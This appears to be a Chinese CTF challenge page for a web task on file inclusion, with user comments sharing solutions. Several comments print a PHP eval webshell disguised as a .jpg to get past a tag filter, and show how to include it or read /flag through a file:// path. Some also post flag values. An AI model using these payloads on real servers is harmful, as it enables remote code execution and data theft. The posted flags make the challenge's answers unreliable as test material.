文件包含2WEB 未解决

分数: 35 金币: 4
题目作者: 未知
一　　血: dotast
一血奖励: 3金币
解　　决: 5140
提　　示: 文件包含
描　　述:
文件包含2
...
登录回复
评论
qiusheng 2年前
举报

1、找到文件包含的路径XXXindex.php?file=upload.php;上传一句话木马(格式保存为jpg)<script language="php">@eval($_POST[cmd])</script> 2、上传完成后访问上传的路径看是否成功。XXX/index.php?file=upload/xxx.jpg 3、用蚁剑连接，url是XX

回复 0
xiaoxiao972521 2年前
举报

虽然index.php?file=/flag 就出来了，但是依旧执着的绕过了upload.php

回复 5
冯飞99 2年前
举报

绕来绕去看到你的评论一把过

回复 3
zzccbb2005 2年前
举报

http://114.67.175.224:10017/index.php?file=file:///flag flag{27d76583b9a54c6ef8af91f66855ac12}

回复 1
109张某 3年前
举报

这个题一句话传好像有些问题，我传了一堆，就只有下面仁兄的file:///flag方法成功了

回复 0
asd+1024 2年前
举报

传木马的话，用<script language='php'>@eval($_POST['asd']);</script>然后，文件格式.jpg，在文件包含就可以了，file:///flag确实简单

回复 0
不会编程的崽 3年前
举报

<?php>被过滤了，用这个<script language="php">@eval($_POST['attack'])</script>绕过，然后文件包含即可

回复 0
2728462336 3年前
举报

文件上传+文件包含

回复 1
wxy1343 3年前
举报

flag{9be4acf19dc430e5ba2973dbb72f371d}

回复 0
⎝ZJJARY 3年前
举报

真的无语了 连上马找不到flag 删flag的人马亖了

回复 2
dtm 3年前
举报

使用file协议读取文件内容，index.php?file=file:///flag得到flag

回复 0
baianquanzu 3年前
举报

@Striker123456 因为原本的协议是file://但是flag这个文件前面需要一个/

回复 4
Striker123456 3年前
举报

为什么是三个斜杠呢

回复 0
wecld 4年前
举报

别卷了康康

回复 0

WriteUp

image
harry

4 金币

立即查看

评分(6)

解题动态

ItsAllOver 攻破了该题 12小时前
theshy_lewis 攻破了该题 22小时前
xiaoxiang07 攻破了该题 1天前
qi1102 攻破了该题 1天前
xiaoma123 攻破了该题 1天前
Alter 攻破了该题 1天前
Lapis 攻破了该题 1天前
gc 攻破了该题 2天前
Puuka2Fuuka 攻破了该题 2天前
CCC1112 攻破了该题 2天前
zmjjkk..... 攻破了该题 3天前
bbzuj 攻破了该题 3天前
KN11 攻破了该题 3天前
zjb520 攻破了该题 4天前
sabgdfiush 攻破了该题 4天前
1柒1 攻破了该题 4天前
能工智人 攻破了该题 5天前
世界你好 攻破了该题 5天前
灵梦归希 攻破了该题 5天前
17199913044 攻破了该题 5天前
问题反馈